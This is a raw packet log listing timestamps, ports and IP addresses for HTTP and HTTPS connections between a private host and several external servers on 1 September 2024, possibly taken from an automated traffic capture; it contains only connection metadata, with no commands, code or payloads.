Sep 1, 2024 02:48:11.224536896 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224541903 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224548101 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224575996 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224584103 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224592924 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224605083 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.224637985 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.224653959 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.225229979 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225240946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225250006 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225277901 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.225305080 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.225306034 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225315094 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225326061 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225334883 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.225347996 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.225352049 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.225379944 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.227072001 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.227118969 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.262454987 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262466908 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262478113 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262486935 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262494087 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262504101 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262514114 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262523890 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.262624025 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.262624025 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.262624025 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.262624025 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285613060 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285623074 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285638094 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285669088 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285677910 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285689116 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285698891 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285710096 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285761118 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285784960 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285795927 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285805941 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285809994 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285816908 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285826921 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285831928 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285836935 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.285851002 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.285871983 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286302090 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286310911 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286320925 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286331892 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286345005 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286346912 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286355019 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286360979 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286365986 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286376953 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286381006 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286413908 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286449909 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286458969 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286468983 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286479950 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286489964 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286494017 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286500931 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286504030 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286526918 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286550045 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286668062 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286678076 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286686897 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286696911 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286709070 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286710978 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286720991 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286731005 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286731958 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286741018 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286751032 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286752939 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286761045 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286770105 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286773920 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286780119 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286789894 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286792994 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286801100 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.286813021 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.286834002 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309662104 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309673071 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309683084 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309700966 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309710026 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309719086 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309724092 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309729099 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309746981 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309752941 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309756994 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309767008 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309768915 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309791088 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309815884 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309818983 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309827089 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309844971 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309854984 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309855938 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309861898 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309864998 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.309881926 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.309902906 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310384989 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310429096 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310475111 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310483932 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310493946 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310507059 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310516119 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310517073 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310528994 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310528994 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310550928 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310560942 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310573101 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310578108 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310584068 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310594082 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310595036 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.310607910 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.310630083 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:11.349692106 CEST	80	49736	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:11.349736929 CEST	49736	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:12.137861967 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:12.138366938 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:12.143629074 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:12.143702030 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:12.143876076 CEST	80	49734	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:12.143922091 CEST	49734	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:12.449960947 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:12.454772949 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:12.887829065 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:12.887996912 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.046942949 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.047328949 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.055277109 CEST	80	49737	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:13.055352926 CEST	49737	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.055613041 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:13.055804968 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.079498053 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.084312916 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:13.500279903 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:13.500307083 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:13.500557899 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:13.503041029 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:13.503052950 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:13.820207119 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:13.820457935 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.869268894 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:13.874089956 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:14.120666981 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:14.120836973 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.266124010 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:14.266191006 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:14.417973042 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:14.417985916 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:14.418232918 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:14.465513945 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:14.487621069 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.488426924 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.492727995 CEST	80	49738	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:14.492774963 CEST	49738	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.493228912 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:14.493350029 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.552277088 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:14.557118893 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:15.017128944 CEST	80	49735	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:15.017303944 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:15.260701895 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:15.262165070 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:15.363873005 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:15.369482040 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:15.621436119 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:15.623701096 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.473612070 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.473937988 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.478810072 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:16.478895903 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.478919983 CEST	80	49740	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:16.478969097 CEST	49740	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.536573887 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:16.541364908 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:16.652427912 CEST	49735	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:17.228288889 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.228615999 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.229737043 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.234462976 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.475552082 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.475610018 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.928411961 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:17.945818901 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.946403027 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.950889111 CEST	80	49746	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.950934887 CEST	49746	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.951241970 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.951307058 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.961639881 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:17.966492891 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:17.968503952 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179790974 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179809093 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179816008 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179871082 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179874897 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:18.179914951 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179924965 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.179933071 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:18.179960966 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:18.180021048 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.180078030 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:18.180085897 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.180530071 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:18.180572033 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:18.691330910 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:18.691668034 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:18.700330973 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:18.705174923 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:18.947344065 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:18.953133106 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.059894085 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.060928106 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.210859060 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:19.211251974 CEST	80	49753	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:19.211297989 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.211395979 CEST	49753	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.219430923 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:19.224193096 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:19.301124096 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:19.301124096 CEST	49739	443	192.168.2.4	40.127.169.103
Sep 1, 2024 02:48:19.301136017 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:19.301146030 CEST	443	49739	40.127.169.103	192.168.2.4
Sep 1, 2024 02:48:19.321080923 CEST	80	49723	87.248.202.1	192.168.2.4
Sep 1, 2024 02:48:19.321640968 CEST	49723	80	192.168.2.4	87.248.202.1
Sep 1, 2024 02:48:19.330729008 CEST	49723	80	192.168.2.4	87.248.202.1
Sep 1, 2024 02:48:19.335993052 CEST	80	49723	87.248.202.1	192.168.2.4
Sep 1, 2024 02:48:19.471223116 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:19.476224899 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:19.476655006 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:19.495390892 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:19.500462055 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:19.567615986 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.567635059 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:19.567962885 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.568737030 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.568747044 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:19.569009066 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.569010019 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.569035053 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:19.569340944 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.569351912 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:19.569379091 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.569536924 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.569544077 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:19.570012093 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.570019007 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:19.570111036 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.570645094 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:19.570645094 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.570658922 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:19.570672035 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:19.683176041 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.683186054 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:19.683242083 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.684051037 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:19.684061050 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.006706953 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.006839037 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.027417898 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.030406952 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.030653954 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.032677889 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.094917059 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.096417904 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.096417904 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.098555088 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.137722015 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.139233112 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.139238119 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.139416933 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.139420986 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.140331030 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.140341043 CEST	443	49767	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.140383959 CEST	49767	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.140722990 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.140738964 CEST	443	49766	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.140774012 CEST	49766	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.145860910 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.145868063 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.146153927 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.146157980 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.146766901 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.146778107 CEST	443	49769	162.159.61.3	192.168.2.4
Sep 1, 2024 02:48:20.146820068 CEST	49769	443	192.168.2.4	162.159.61.3
Sep 1, 2024 02:48:20.147300959 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.147314072 CEST	443	49768	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.147350073 CEST	49768	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.198599100 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.236408949 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.236413002 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.237309933 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.237322092 CEST	443	49770	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:20.237375021 CEST	49770	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.243258953 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:20.243339062 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:20.260715008 CEST	49760	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:48:20.265609980 CEST	80	49760	185.215.113.19	192.168.2.4
Sep 1, 2024 02:48:20.268739939 CEST	49765	80	192.168.2.4	185.215.113.100
Sep 1, 2024 02:48:20.273547888 CEST	80	49765	185.215.113.100	192.168.2.4
Sep 1, 2024 02:48:20.315913916 CEST	49769	443	192.168.2.4	162.159.61.3
